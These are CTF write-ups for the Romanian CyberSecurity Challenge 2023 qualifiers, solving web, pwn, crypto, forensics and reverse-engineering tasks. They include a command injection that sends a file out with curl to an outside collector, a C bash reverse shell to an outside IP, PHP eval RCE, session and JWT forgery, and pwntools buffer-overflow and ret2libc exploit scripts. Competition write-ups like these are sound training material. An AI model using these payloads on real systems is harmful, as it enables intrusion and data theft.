RoCSC 2023
Write-ups for the Romanian CyberSecurity Challenge 2023 Online Qualifiers.
- Hashy - Web (40 solves)
- i-am-php - Web (49 solves)
- rocker - Web (44 solves)
- brokenide - Web (1 solve)
- wheel-of-misfortune - Web (29 solves)
- classy-backdoor - Web (7 solves)
- intruder - Network (44 solves)
- infamous - Misc (37 solves)
- Pikapchu - Network (28 solves)
- analog-signal - Forensics (42 solves)
- xarm - RE (53 solves)
- Crackers - RE (14 solves)
- luigi - Pwn (44 solves)
- game - Pwn (8 solves)
- worldcup - Misc (22 solves)
- combinations - Misc (43 solves)
- winter-on-the-road - Misc (12 solves)
- threat-hunting - Threat hunting (34 solves)
- sboxhash - Crypto (5 solves)
- nopce - Crypto (26 solves)
Hashy
Un programator junior a creat o pagina care genereaza hash-uri sha256 dar e posibil sa nu fie sigura. Datele importante se afla in /flag . URL: http://79.137.82.19/
Flag format: ROCSC{sha256}
There's a command injection in the name parameter, we can execute shell commands by closing the double quotes and using backticks before opening the double quotes again. To get the flag we can exfiltrate using curl:
POST / HTTP/1.1
Host: 79.137.82.19
Content-Length: 67
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://79.137.82.19
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://79.137.82.19/
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close
name="`cat /flag | curl -d @- ps0zx0md.requestrepo.com`"&submit=md5
flag
ROCSC{F82590885D27ECD16EB594E2923D16E112B3C46CFC1BAA4ABD13F7802A3A5558}
i-am-php
It is, in my opinion, a common PHP general inclusion issue. It merely seeks to treat everyone equally.
GET params is written to /tmp/extra.log
, first insert payload then include /tmp/extra.log and then get RCE
view-source:http://34.159.31.74:30203/?param=%3C?php%20eval($_GET[0]);%20?%3E
view-source:http://34.159.31.74:30203/?param=/tmp/extra.log&0=var_dump(file_get_contents(%27f7349ghf3c7r20ffj4/flag.php%27));
flag
CTF{db21629aa63aa7add8be1b2f435d49238243cbf5e87f2b736a691c3f62d647d5}
rocker
Your moment to rock has arrived, and every second counts. You are the centre of attention at this time, as your skills and potential are highlighted. Each second that passes is a priceless drop in the great ocean of time, a brief opportunity to make a lasting impression on the world. Every decision you make and action you take will help you get closer to your objectives and desires.
Bruteforce secret_key using flask-unsign. Then we can forge a token with the admin user:
# this will generate the wordlist
for k in range(14):
for i in range(60):
for j in range(60):
a = f'2023-05-26 {str(k).zfill(2)}:{str(i).zfill(2)}:{str(j).zfill(2)}'
print(a)
# python bf.py > wordlist.txt
# $ flask-unsign --cookie 'eyJ1c2VyX3R5cGUiOiJ1c2VyIn0.ZHCwsA.wFZMR0VmfGA27vd4-g5hZ_kgd28' --unsign --wordlist wordlist.txt
# 2023-05-26 13:03:39
GET /flag HTTP/1.1
Host: 34.159.31.74:32527
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: session=eyJ1c2VyX3R5cGUiOiJhZG1pbiJ9.ZHCypw.h_CmbYYbte-sIIQsv6xJD_wOcZw
Connection: close
flag
CTF{4666c3220395739618c1657045b6b1289817b6e84326b45c7c651aab51a94fe2}
brokenide
Here we have a very performant yet so broken IDE! Can you write that one line of code to read the flag?
Chall eviroment: http://167.71.53.178:8000/
First get a reverse shell using:
#include <stdlib.h>
#include <unistd.h>
int main() {
char *args[] = {"/bin/bash", "-c", "bash -i >& /dev/tcp/79.113.128.147/4444 0>&1", NULL};
execvp(args[0], args);
return 0;
}
Write another C file that creates symlinks, use that to replace stdout in order to leak files outside of the chroot jail.
Then create a symlink to payload.c to /app/brokenide/ide/views.py, insert python reverse shell and save in the code ide.
flag
CTF{089abe07a5f2e4839637d2ccefaf133a0a96f1f34ad3fad67bae75303c319dc1}
wheel-of-misfortune
Sometimes, we make our own luck!
Flag format: CTF{sha256}
Use this repo https://github.com/silentsignal/rsa_sign2n to recover RSA public key from 2 tokens, then forge a new token using HS/RSA jwt confusion in order to edit luck.
flag
CTF{8400de2552d48551d36f0a25c40430fc488f035b68bdca4fe3d8875a86a5d037}
classy-backdoor
A state-sponsored threat actor, driven by their advanced capabilities and strategic intent, ingeniously planted a backdoor so incredibly awkward in its design that it defies conventional understanding. It is an exceptional work of artistry and sophistication, carefully crafted to remain undetectable amidst the vast digital landscape. This backdoor, surpassing the realm of imagination, possesses an unmatched level of performance that surpasses even the wildest dreams one could conjure.
Upload file using PHP_SESSION_UPLOAD_PROGRESS trick, observe that phpinfo is backdoored and it has a sleep of 3 seconds.
Create a phar that deserializes Vulnerable class to get RCE and then use phar:// to trigger deserialization
from pwn import process
sh = process("curl 'http://34.159.31.74:30616/phpinfo.php' -H 'Cookie: PHPSESSID=x' -F 'PHP_SESSION_UPLOAD_PROGRESS=xddddd' -F 'file=@test.phar' -s | grep 'tmp/'", shell=True)
file_name = sh.recvline().decode().split()[-1]
print(file_name)
import requests
r = requests.get(f'http://34.159.31.74:30616/?local_file=phar://{file_name}.phar')
print(r.text)
flag
CTF{50a6eb6aeff4af7f1625674cccfa69e8b6fae21da700765898eaef2fd02936e8}
intruder
Analyse the pcap and find the flag.
Flag format CTF{sha256}
Wireshark -> Export Objects -> HTTP
Then binwalk over all files, find GIF that has the flag:
Scan Time: 2023-05-28 22:19:17
Target File: /Users/adragos/Desktop/ctf_archive/2023/rocsc/intruder/ok/execute
MD5 Checksum: 5151e1a78e157598df3953f4dc76d68c
Signatures: 411
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
172 0xAC GIF image data, version "89a", 1700 x 2200
599 0x257 Copyright string: "Copyright Artifex Software 2011"
flag
CTF{506f80a01ad6983cc1df148087f3d4fb59e9aacbde60d45766361a5c6b3cbcda}
infamous
What's the secret behind this trap?
This is the text file provided:
#separator \x09
#set_separator ,
#empty_field (empty)
#unset_field -
#path conn: leet
alert: 7H151Y51Y0UrF16D70WU0N
#open 2019-11-08-11-44-16
#fields ts uid id.orig_h id.orig_p id.resp_h id.resp_p proto service duration orig_bytes resp_bytes conn_state local_orig local_resp missed_bytes history orig_pkts orig_ip_bytes resp_pkts resp_ip_bytes tunnel_parents
#types time string addr port addr port enum string interval count count string bool bool count string count count count count set[string]
1521911721.255387 C8Tful1TvM3Zf5x8fl 10.164.94.120 39681 10.47.3.155 3389 tcp - 0.004266 97 19 RSTR - - 0 ShADTdtr 10 730 6 342 -
1521911721.411148 CXWfTK3LRdiuQxBbM6 10.47.25.80 50817 10.128.0.218 23189 tcp - 0.000486 0 0 REJ - - 0 Sr 2 104 2 80 -
1521911721.926018 CM59GGQhNEoKONb5i 10.47.25.80 50817 10.128.0.218 23189 tcp - 0.000538 0 0 REJ - - 0 Sr 2 104 2 80 -
1521911722.690601 CuKFds250kxFgkhh8f 10.47.25.80 50813 10.128.0.218 27765 tcp - 0.000546 0 0 REJ - - 0 Sr 2 104 2 80 -
1521911723.205187 CBrzd94qfowOqJwCHa 10.47.25.80 50813 10.128.0.218 27765 tcp - 0.000605 0 0 REJ - - 0 Sr 2 104 2 80 -
The solution is to leet decode the alert field using https://www.dcode.fr/leet-speak-1337
flag
THISIYSIYOUrFIGDTOWUON
Pikapchu
Un atacator a exfiltrat date din reteaua securizata a rusilor, trebuie sa aflam ce date a scos.
Flag format: ROCSC{string}
Search for NTP packets, the flag is exfiltrated using SRC PORT. Decode from decimal to ASCII to recover the flag.
flag
ROCSC{UDP_MATTERS_AS_WELL}
analog-signal
In the early hours of the morning, a team of radio engineers picked up a mysterious transmission on their equipment. The signal was weak and difficult to decipher, but they managed to record it before it disappeared into the ether. Upon closer inspection, they realized that the transmission was an analog signal. The message spoke of an ancient artifact, long lost to the world, and the quest is to find it.
Flag format: CTF{sha256}
Extract float values from the binary, replace each unique value by 1 and 0
f = open('analog_signal.wav', 'rb').read()[0x00000040:].replace(b'\x00',b'').replace(b'\xf0',b'').replace(b'\xbf',b'0').replace(b'?',b'1')
print(f)
# 011000110111010001100110011110110011011101100001001101010011011000110001001100010011001101100011001110010011000000110001001100010011011100110000001101000011011101100100001101110011100100110101001101010011011001100001011001010011100100110000011000010110010100111001001100100011011001100010001101000110001000110001001101100011001101100110001100010110010101100110001101100110011000110111011000010110000100110010011000010110010000111001011001000110001000110011011001010011010000110010001110010011011000110010001110010011000001100001011001000110000101111101
Decode using CyberChef to recover the flag.
flag
ctf{7a56113c90117047d79556ae90ae926b4b163f1ef6f7aa2ad9db3e4296290ada}
xarm
If you thing you are in the simulation try this binary :D
Flag format: CTF{sha256}
The flag can be quickly recovered without reversing the binary by using some basic cryptanalysis. We know the flag format and we find out that the flag is just flag.enc xor'ed by 0x6
flag
CTF{8604cd0b7ddd5065780e43449aa7aeacdb0316358d73252524d40fa5c5fc5819}
Crackers
Datele NSA au fost criptate, din fericire s-a obtinut un program care verifica cheia de decriptare. Care o fi aceasta?
Flag format: ROCSC{sha256}
Open the binary in IDA, notice the following instructions:
v64[0] = 10;
v64[1] = 4;
v64[2] = 2;
v64[3] = 14;
v64[4] = 1;
v64[5] = 9;
v64[6] = 12;
v64[7] = 5;
v64[8] = 7;
v64[9] = 15;
v64[10] = 3;
v64[11] = 6;
v64[12] = 8;
v64[13] = 11;
v64[14] = 13;
v64[15] = 16;
which looks like a substitution table.
Next the the table there are these instructions:
sub_401BD0(v76, "0bf9", 4u);
LOBYTE(v122) = 3;
v78 = 0;
v79 = 15;
v77[0] = 0;
sub_401BD0((void **)v77, "37dc", 4u);
LOBYTE(v122) = 4;
v81 = 0;
v82 = 15;
v80[0] = 0;
sub_401BD0((void **)v80, "dd10", 4u);
LOBYTE(v122) = 5;
v84 = 0;
v85 = 15;
v83[0] = 0;
sub_401BD0((void **)v83, "5ea4", 4u);
...
The 4 character blocks are substituted using that table, to reverse that I used this script:
orders = [0 for i in range(16)]
orders[0] = 10
orders[1] = 4
orders[2] = 2
orders[3] = 14
orders[4] = 1
orders[5] = 9
orders[6] = 12
orders[7] = 5
orders[8] = 7
orders[9] = 15
orders[10] = 3
orders[11] = 6
orders[12] = 8
orders[13] = 11
orders[14] = 13
orders[15] = 16
orders = [i - 1 for i in orders]
parts = [
'0bf9',
'37dc',
'dd10',
'5ea4',
'fd57',
'7ef5',
'b50d',
'1e42',
'666d',
'b5f9',
'857b',
'ab0f',
'40da',
'5857',
'6699',
'53dd',
]
flag = [''] * 16
for i in range(16):
flag[orders[i]] = parts[i]
print(''.join(flag))
flag
ROCSC{fd57dd10857b37dc1e42ab0f666d40da7ef50bf95857b50d66995ea4b5f953dd}
luigi
It's me Mario!
Flag format: CTF{sha256}
Basic bof
from pwn import *
context.arch = 'amd64'
sh = remote('34.159.31.74', 32496)
leak = sh.recvline().split()[-1]
leak = int(leak, 16)
sh.sendline(b'A'*32 + p64(leak)*8)
sh.interactive()
flag
CTF{328f2c6f56d1097d511495607fea09487c84a071379541079795a805da3cc9bd}
game
Echo game is funny!
Flag format: CTF{sha256}
Leak => return to beginning of main since the last byte is not affected by ASLR Repeat until we can ret2libc
from pwn import *
import sys
# context
context.arch = 'amd64'
sh = process('./game')
sh = remote('34.159.31.74', 31485)
payload = b'A' * 271 + b'B'*8 + bytes([0x49])
if 'gdb' in sys.argv:
gdb.attach(sh, '''
break *portal+0x7A
continue
''')
sh.recvline()
sh.sendline(str(len(payload)+1))
sh.send(payload)
sh.recvuntil(b'B'*8)
main = u64(sh.recv(6) + b'\x00' + b'\x00')
base = main - 0x1249
log.info('main: ' + hex(main))
log.info('base: ' + hex(base))
binary = ELF('./game')
binary.address = base
payload = b'A' * 271 + b'B'*8 + p64(binary.symbols['puts']) + p64(main + 0x77) + p64(main)
sh.sendline(str(len(payload)+1))
sh.send(payload)
sh.recvline()
sh.recvline()
sh.recvline()
sh.recvline()
libc = ELF('./libc.so.6')
#libc = ELF('./mylibc.so')
libc_leak = u64(sh.recv(6) + b'\x00' + b'\x00')
log.info('libc_leak: ' + hex(libc_leak))
libc.address = libc_leak - libc.symbols['funlockfile']
log.info('libc: ' + hex(libc.address))
rop = ROP(libc)
rop.raw(rop.find_gadget(['ret']).address)
rop.system(next(libc.search(b'/bin/sh\x00')))
payload = b'A' * 271 + b'B'*8 + rop.chain()
sh.sendline(str(len(payload)+1))
sh.send(payload)
sh.interactive()
flag
CTF{334e7fbcdfe2c36701cbaa15bb3d5086fcafe15e773d27391eeb2708afbdf3e0}
worldcup
Meet John, a soccer enthusiast who is passionate about the World Cup. John has always been fascinated with the top goalscorers of the tournament and has decided to create a secure Veracrypt container to store his World Cup memories.
However, John wants to make sure that his container is secure and difficult to crack. So, he has decided to create a password that is formed from concatenating the first and last name of a World Cup top scorer followed by the number of goals they scored in the tournament, written in Roman numerals and enclosed in brackets.
Flag format: CTF{sha256}
I got the footballers from https://www.worldfootball.net/alltime_goalgetter/wm/tore/1/#redirect then generated passwords using all types of brackets () [] {} and <>
target_hash.tc is the first 512 bytes of the file.
hashcat.exe -w 1 -m 13721 target_hash.tc passwords.txt
RobertoBaggio(IX)
The flag is split in the comments section of the exif data
flag
ctf{f8ad1e2fad6f403532405e53f0c4637d5c879b46ff6a03c147ec98f122c2c06e}
combinations
Find the best combination and get the flag!
Flag format CTF{sha256}
Binwalk => binwalk => 6 images each is xor'ed with the previous image. Used this script to xor the images so that I could read the flag
from PIL import Image
# Open the first image
img1 = Image.open('image_45.png')
# Open the second image
img2 = Image.open('image_6.png')
# Check that the images have the same dimensions
if img1.size != img2.size:
print('Error: Images have different dimensions')
exit()
# XOR the images pixel by pixel
img_xor = Image.new(img1.mode, img1.size)
for x in range(img1.width):
for y in range(img1.height):
pixel1 = img1.getpixel((x, y))
pixel2 = img2.getpixel((x, y))
pixel_xor = tuple([p1 ^ p2 for p1, p2 in zip(pixel1, pixel2)])
img_xor.putpixel((x, y), pixel_xor)
# Save the XORed image
img_xor.save('image_56.png')
flag
CTF{89cd42c9b9aad2cde15ec79f98f989bb78df5cd2b006e5fd4c13b119d442e20b}
winter-on-the-road
It started falling yesterday Some Snowflake, now it sat, The clouds took their revenge Towards the sunset, but there are a lot of them Across the village.
Flag format: CTF{sha256}
Flag is in /tmp/flag.
Create Snowflake account, provide credentials, then use /**/ at the beginning of the command to bypass PUT restriction. Then create a new database, table and dump the PUT result into the table.
flag
CTF{d3815d42990cbaeb74ebd4f43777a127deb816c1561507caa3e185856c5f1699}
threat-hunting
Catch the threat.
PS: We've added the encryption method used for a specific file. Happy hunting!
Use volatility to read commands:
docker run -v $PWD:/workspace sk4la/volatility -f /workspace/threat-hunting-2.bin --profile=Win7SP0x64 cmdscan > evidence/cmdscan.txt
We get a wav file, with the provided enc.py we can recover the flag:
from scipy.io.wavfile import read
fc = read('coded_audio.wav')
a_d = fc[1].copy()
t = ''
for i in range(8000):
a_list = list(bin(a_d[100 + i, 0]))
t += a_list[-1]
print(t)
flag
GahhMyCodeIsSoAnnoying-MyCodeIsSoComplicated-OhManImTryingToEncodeThisString-ItIsSoFrustrating
sboxhash
z3 fleg f0rmat 1s: CTF{reg} with reg [a-z0-9]{64} If it takes too long then try harder and optimize.
Each byte of the flag only affects the neighboring 14 bits (15 in total). Since we know the first 4 bytes of the flag, we can bf the next 3 then do a DF search for the correct input.
import subprocess
# run ./gen ARG
def gen(arg):
return subprocess.check_output(['./gen', str(arg)]).strip()
alph = '0123456789abcdef'
enc_flag = b'c704715ca32bcde946aaf0d4b4f05c7849302b98299e4b6e82c0a084c990288a18c9270196b04b39c0a92a03dcf98cec4502ca7e90207dd3a7e3706d6362acfa4ea8016452'
recovered = ''
# for i1 in alph:
# for i2 in alph:
# for i3 in alph:
# for i4 in alph:
# f = 'CTF{' + recovered + i1 + i2 + i3 + i4 + (60-len(recovered)) * '0' + '}'
# out = gen(f)
# if out.startswith(enc_flag[:(len(recovered)+1)*3]):
# print(i1, i2, i3, i4)
parts = ["310f","318d","318e","3e75","3e77","3edf","3ee0","3ee6","3ee8","5410","5415","5416","5417","5418","5432","5960","5966","5968","5980","5985","5986","5987","5988","598b","59aa","59c4","59c9","59cc","6350","6356","6358","635a","ff0b","ff14","ff19","ff1c","ff1d","ff1e","ff2b","ff2c","ff3b","ff3d","ff3e","ff61","ff63","ff64","ff69","ff6b","ff81","ff83","ff92","ff9b","ff9d","ff9e"]
def check(flag, i):
out = gen(flag)
if out == enc_flag:
print('FOUND:', flag)
exit(0)
if out.startswith(enc_flag[:3 + i*2]):
return True
return False
def df(p):
for c in alph:
f = 'CTF{' + p + c + (63-len(p)) * '0' + '}'
if check(f, len(p)-3):
df(p+c)
print(f, len(p)-3)
for p in parts:
df(p)
# flag = '000000000000000000000000000000000000000000000000000000000000000000000'
# for i in range(4, 69):
# c = '1'
# f = flag[:i] + c + flag[i+1:]
# out = gen(f)
# print(f)
# print(i, out)
flag
CTF{598b9af1832437153a2243ee3365f75e647e7af2fe46ea09c905c236f427864f}
nopce
You have everything you need.
Since IV is reused, we just need to reverse the shuffle operation and then we can xor the enc flag with the enc result of our input + our input.
enc_flag = bytes.fromhex('088b7896e331298e95522e12636620ff96bdc52da564b7850d712cfad153bc0c9e9f7dcdd3d8962d3ebf24f5bb2464cf118a9dfad0fca25dd126a8fbad46ae3f48d0cf779e000000')
all_a = bytes.fromhex('78e9078be062288ec0047212373627acc2edc020a661b48f0f7e7bfdd359ea5ac9cd2acb808d932d6db82ba9bd2168c41f84cdf8dff5a659df75adfcf442fe3f54d5291ba222931e')
from pwn import xor
def blocks(txt):
blocks = []
block_size = 4
if len(txt) % block_size != 0:
txt += b'\0' * (block_size - (len(txt) % block_size))
for i in range(0, len(txt), block_size):
block = txt[i:i+block_size]
blocks.append(block)
return blocks
def shuffle(ciphertext):
blks = blocks(ciphertext)
for i in range(1,len(blks)):
blks[i-1] = xor(blks[i-1],blks[i])
return b"".join(blks)
def unshuffle(ciphertext):
blks = blocks(ciphertext)
for i in range(len(blks)-1,0,-1):
blks[i-1] = xor(blks[i-1],blks[i])
return b"".join(blks)
all_a = unshuffle(all_a)
enc_flag = unshuffle(enc_flag)
print(xor(all_a, enc_flag, 0x41))
flag
CTF{369f0e8fe3df1cc5e3f8f6e2d925f3dc1a3eb46e1399765298e061a48bd3af43}